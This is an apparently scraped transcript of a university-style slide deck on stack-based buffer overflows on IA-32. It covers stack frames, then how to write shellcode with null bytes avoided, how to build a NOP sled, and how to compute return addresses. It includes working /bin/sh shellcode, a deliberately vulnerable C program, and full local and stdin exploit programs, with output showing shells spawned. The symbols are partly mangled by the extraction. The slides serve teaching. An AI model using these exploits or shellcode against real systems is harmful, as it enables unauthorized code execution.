Stack Based Buffer Overflows - PowerPoint PPT Presentation

1 / 52
About This Presentation
Title:

Stack Based Buffer Overflows

Description:

Stack Based Buffer Overflows Table of ... env[0] env[1] unsigned char shellcode[] = \xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89 \x47\x0c\x8d\x57\x0c\x8d ... – PowerPoint PPT presentation

Number of Views:164
Avg rating:3.0/5.0
Slides: 53
Provided by: unim122
Category:

less

Transcript and Presenter's Notes

Title: Stack Based Buffer Overflows


1
Stack Based Buffer Overflows
Alberto Ornaghi ltalor_at_sikurezza.orggt Lorenzo
Cavallaro ltsullivan_at_sikurezza.orggt
2
Table of contents
  • IA-32 introduction
  • The issue
  • Code injection
  • Shellcode
  • Buffer overflow
  • Local buffer overflow (no address guessing)

3
Introduction
4
Stack layout
stack
int foo(int a, int b) int i 5 return
(a b) i int main(int argc, char
argv) int c 3, d 4, e 0 e
foo(c, d) printf(e d\n, e)
high
low
5
Activation Record
  • Return Address Its the address of the
    instruction to be executed once thecalled
    procedure ends.
  • Saved Base Pointer (saved frame pointer) It
    holds EBP register value at the time the called
    procedure is run and it points to the previous
    activation record.

high
ret address
saved base pointer
automatic variables ... ...
low
6
Nested ARs
high
d
int foo(int a, int b) bar(a, b) int
bar(int a, int b) ... int main(int argc,
char argv) foo(c, d)
c
low
7
CPU registers
high
d
EIP instruction pointer it points to the next
instruction to be executed EBP base pointer
(frame pointer) it points to the base of the
current AR (static) ESP stack pointer it
points to the top of the stack (dynamic)
c
ret address
SFP
b
a
ret address
SFP
low
8
Prologue and Epilogue
  • Prologue
  • push ebp (save ebp)
  • mov esp, ebp (move ebp)
  • Epilogue
  • leave (reset ebp)
  • ret (reset eip)

9
Automatic variables
high
b
int foo(int a, int b) int i, j char
buf9 Default stack alignment is on a
double word boundary (4 byte on ia32) So
buffers are just padded to be ona double word
boundary.
a
ret address
SFP
i
j
pad
buf0
low
10
The issue
11
Plain situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephd)
a
ret address
SFP
low
12
Critical Situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephdbcde)
a
ret address
SFP
low
13
Very critical situation
high
b
int foo(int a, int b) int i, j char
buf9 i 5 j 123 strcpy(buf,
securephdaaabbbbcccceeeeffff)
a
low
14
Code Injection
15
Ret address modification
high
b
0xbffffcab
int a 3 int b 5 int e e foo(a,
b) printf(d\n, e)
a
0xbffffca7
0xbffffc8b
low
16
ret addr guessing (1)
There are no efficient algorithms allowing to
blindly find out the ret addr, even if there
exist few techniques that may help us while
exploiting such vulnerabilities. We simply try
to bruteforce the addresses space keepingin
mind that the OS uses virtual memory with paging
and so the stack always starts at the same fixed
address
Process 1
Process 2
high
low
17
ret addr guessing (2)
  • A Process image (roughly) looks like

high
env
variable offset
argv
main AR
foo AR
static (fixed)offset
bar AR
low
18
ret addr guessing (3)
  • Stack pointer register (esp) represents a good
    baseto add offsets to (or subtract offsets
    from) theaddress obtained this way may be quite
    a goodcandidate as retaddr for the vulnerable
    program.

high
buf4
ret addr
buf0
b
offset (8)
a
esp
low
19
Issues
  • Functions that manipulate strings (strcpy, gets,
    etc) copy as far as they dont find a NULL byte
    (stringterminator).
  • Injected code MUST NOT contain NULL bytes.

code \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08
\xc7\x47 strcpy(buf, code) buf
\xeb\x2a\x5f\xc6\x47\x07
20
ret addr range
  • To improve our chance to find a suitable ret addr
    we can prepend to our injected code something
    that works like a landing strip NOP (0x90)
    (machine instruction that does No Operation).

ret address
...
CODE
CTED
INJE
90 90 90 90
90 90 90 90
Allowed ret addr range
90 90 90 90
90 90 90 90
21
Buffer structure
  • Injected buffer will look like this one

EXECUTABLE CODE
RET ADDR
NOP NOP
code \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\x
bf
little endian !!
22
Considerations...
  • Target buffer might be too small to hold useful
    codes
  • We may encounter non executable stack region
  • We can put injected code anywhere in memory, not
    just into the stack

23
Shellcode
24
execve (1)
execve prototype (user land)
int execve(const char filename, \
char const argv, \ char const
envp )
intmain(void) char name /bin/sh,
NULL execve(name0, name, NULL)
25
execve (2)
stack layout
(gdb) disass mainpush ebpmov
esp,ebpsub 0x8,esplea
0xfffffff8(ebp),eaxmovl 0x808b6c8,0xfffffff8
(ebp)movl 0x0,0xfffffffc(ebp)push
0x0lea 0xfffffff8(ebp),eaxpush eaxmov
0xfffffff8(ebp),eaxpush eaxcall
0x804bf90 ltexecvegt
high
0x0
0x808b6c8
low
26
execve (3)
high
stack layout
push ebpmov esp,ebpmov
0x8(ebp),edimov 0x0,eaxmov
0xc(ebp),ecxmov 0x10(ebp),edxpush
ebxmov edi,ebxmov 0xb,eaxint
0x80
0x0
0x10(ebp)
name
0xc(ebp)
name0
0x8(ebp)
0x804bf90
SFP
ebp
ebx lt- 0x8(ebp) 0x808b6c8ecx lt- 0xc(ebp)
nameedx lt- 0x10(ebp) 0x0
low
27
execve (4)
We
  • must have the string /bin/sh somewhere
    in memory.
  • must build the array holding the address
    of /bin/sh, followed by 0x0 (i.e., the
    address at which the address of the string
    /bin/sh is)
  • put the proper values into the proper
    registers

28
execve (5)
Lets suppose that ebx holds the address of the
string /bin/sh, now it suffices to do
stack layout
high
movl ebx, 0x8(ebx)movb 0x0, 0x7(ebx)movl
0x0, 0xc(ebx)leal 0x8(ebx), ecxleal
0xc(ebx), edxmovl 0xb, eaxint 0x80
0x0
0xc(ebx)
addr12
addr
0x8(ebx)
addr8
/sh
0
addr4
/bin
ebx
addr
low
29
execve (6)
  • We cannot know the absolute address of the
    location at which the string /bin/sh is
    stored, but we dont care

jmp aheadback popl ebx ahead call
back .string \/bin/sh\
30
execve (7)
jmp ahead 0xeb 0x1c back
popl ebx 0x5b movl ebx,
0x8(ebx) 0x89 0x5b 0x08 movb 0x0,
0x7(ebx) 0xc6 0x43 0x07 00 movl 0x0,
0xc(ebx) 0xc7 0x43 0x0c 00 00 00 00 leal
0x8(ebx), ecx 0x8d 0x4b 0x08 leal
0xc(ebx), edx 0x8d 0x53 0x0c movl 0xb,
eax 0xb8 0x0b 00 00 00 int 0x80
0xcd 0x80 ahead call back
0xd8 0xdf 0xff 0xff 0xff .string
\/bin/sh\ 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
31
Nil bytes avoidance
32
Nil bytes
movb 0x0, 0x7(ebx) movl 0x0, 0xc(ebx)
movl 0xb, eax
33
shellcode (1)
intmain(void) __asm__( jmp ahead
back popl ebx xorl eax,
eax movl ebx, 0x8(ebx) movb
al, 0x7(ebx) movl eax, 0xc(ebx)
leal 0x8(ebx), ecx leal 0xc(ebx),
edx movb 0xb, al int 0x80
ahead call back .string
\/bin/sh\ )
Are there any issues with thistest?
34
shellcode (2)
(gdb) x/29b 0x80483c3 0x80483c3 ltmain3gt
0xeb 0x16 0x5b 0x31 0xc0 0x89
0x5b 0x08 0x80483cb ltback6gt 0x88 0x43
0x07 0x89 0x43 0x0c 0x8d
0x4b 0x80483d3 ltback14gt 0x08 0x8d 0x53
0x0c 0xb0 0x0b 0xcd 0x80 0x80483db
ltaheadgt 0xe8 0xe5 0xff 0xff 0xff
35
shellcode (3)
include ltstdio.hgtunsigned char code
"\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\
x43 \x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\
x80\xe8\xe5 \xff\xff\xff/bin/sh"intmain
(void) void (f)(void) (void
()(void))code f() / never reached
/ exit(0)
36
shellcode (4)
intmain(void) char name /bin/sh,
NULL char env PATH/bin/sbin/nonex
istent, NULL execve(name0, name,
env) / never reached / exit(1)
37
shellcode (5)
high
jmp aheadback popl edi jmp beginahead
call backbegin xorl eax, eax movl
edi, ebx addb (shell -
begin), bl pushl ebx movl ebx,
40(ebx) movl eax, 44(ebx) movb al,
7(ebx) leal 40(ebx), ecx
XXXX

/bin
PATH
/shA
/bin
low
38
shellcode (6)
high
movl edi, ebx addb (env - begin), bl
movl ebx, 48(ebx) movl eax, 52(ebx)
movb al, 28(ebx) leal 48(ebx), edx
popl ebx movb 0xb, al int 0x80shell
.string \"/bin/sh\" 7 bytesenv 33
bytes 29 w/o X and 28 w/o X and A
strlen(shell) strlen(env) 40 bytes
.string \"APATH/bin/sbin/nonexistentXXXX\
XXXX

/bin
PATH
/shA
/bin
low
39
Shellcode testing
unsigned char shellcode
\xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89
\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\
x0b \xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" i
nt main() void (f)(void) (void
()(void))shellcode f()
sh-2.03 id uid0(root) gid0(root) groups0(root)
40
Vulnerable program (1)
void foo(char )intmain(void) char
name512 memset(name, 0, sizeof (name))
fgets(name, sizeof (name), stdin)
namestrlen(name) 1 0 printf(calling
foo \n) foo(name) printf(foo executed
succesfully\n) exit(0)
41
Vulnerable program (2)
voidfoo(char s) char buf128
fprintf(stderr, buf _at_ p\n, buf)
memset(buf, 0, sizeof (buf)) strcpy(buf,
s) printf(Hello s\n, buf) return
42
Vulnerable program (3)
sullivan_at_assurancetourix ./vuln
PhD classcalling foo buf
_at_ 0xbffff9fcHello PhD classfoo executed
succesfullysullivan_at_assurancetourix

sullivan_at_assurancetourix perl -e ' print "A" x
256 ' ./vulncalling foo ...buf _at_
0xbffff9fc Hello'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' zsh 2587
done perl -e ' print
"A" x 256 ' zsh 2588 segmentation fault (core
dumped) ./vuln sullivan_at_assurancetourix gdb -q
-c core Core was generated by
./vuln'. Program terminated with signal 11,
Segmentation fault. 0 0x41414141 in ?? ()
43
Exploit (1)
unsigned char shellcode
"\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\
x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\
xe8\xe6\xff\xff\xff/bin/sh" define NOP
0x90 define SIZE 256 define OFFSET 0 define
ALIGN 0 static long __inline__
get_esp(void) int main(int argc, char
argv) int align, offset, size, c, i
long ptr long addr char p
44
Exploit (2)
p (char ) calloc(1, size align) /
align ourself / p (char ) (p align)
addr get_esp() offset ptr (long )p
for (i 0 i lt size i 4) ptr
addr c size/2 - strlen(shellcode)
memset(p, NOP, c) memcpy(p c, shellcode,
strlen(shellcode)) printf("s\n", p)
exit(0)
45
Exploit (3)
static long __inline__ get_esp(void) long
ret / force using eax as output
register to align ourself to gcc output
/ __asm__ ("movl esp, 0" "a" (ret))
return ret
46
Exploit (4)
sullivan_at_assurancetourix (./x s 160 o 0x260
cat) ./vuln using address 0xbffff9fc
NOP filling 45 bytes shellcode size
35 Â Íèæÿÿÿ/bin/shüùÿüùÿüùÿüùÿüùÿüùÿüùÿ
üùÿüùÿüùÿüùÿ id uid1021(sullivan)
gid100(users) groups100(users) ls -a .
local.c shellcode.c stack.c test.c vuln.c
x.c x2.c x3.c .. local shellcode stack
test vuln x x2 x3 exit sullivan_at_a
ssurancetourix
47
Local vulnerability (1)
void foo(char ) int main(int argc, char
argv) printf("calling foo ...\n")
foo(argv1) printf("foo executed
succesfully\n") exit(0)
48
Local vulnerability (2)
0xc0000000
addressable in kernel space
addressable in kernel/user space
c a l 0
. / l o
shellcode
env
nil terminated shellcode
argv
injected buffer (shellcodes address)
49
Local exploit (1)
define VULN "./local" define SIZE 160 unsigned
char shellcode "\xeb\x15\x5b\x31\xc0\x89\x5
b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b"
"\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/
bin/sh" int main(int argc, char argv)
char pSIZE / put the shellcode in target's
envp / char envp shellcode, NULL
/ what to execute / char vuln VULN,
p, NULL int ptr, i, addr
50
Local exploit (2)
/ compute return address since
strlen doesnt count for nil bytes, we do
0xc0000000 4 1 1 0xbffffffa
/ addr 0xbffffffa - strlen(shellcode) -
strlen(VULN) fprintf(stderr, " using
address 010x\n", addr) / fill buffer
with computed address / ptr (int )p
for (i 0 i lt SIZE i 4) ptr
addr execve(vuln0, vuln, envp)
fprintf(stderr, "! execve s\n",
strerror(errno)) exit(1)
51
Local exploit (3)
sullivan_at_assurancetourix ./x2 using address
0xbfffffd0 calling foo ... Hello
'ÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐÿÿÐ
ÿÿÐÿÿO!_at_' sh-2.05a ls local shellcode.c
stack.c test.c vuln.c x.c x2.c x3.c local.c
shellcode stack test vuln x
x2 x3 sh-2.05a exitexitsullivan_at_assurancetour
ix
52
Contacts
  • Lorenzo Cavallaro ltsullivan_at_antifork.orggt
  • Alberto Ornaghi ltalor_at_antifork.orggt
  • http//sullivan.antifork.org/http//alor.antifor
    k.org/http//shellcodes.antifork.org/
Write a Comment
User Comments (0)
About PowerShow.com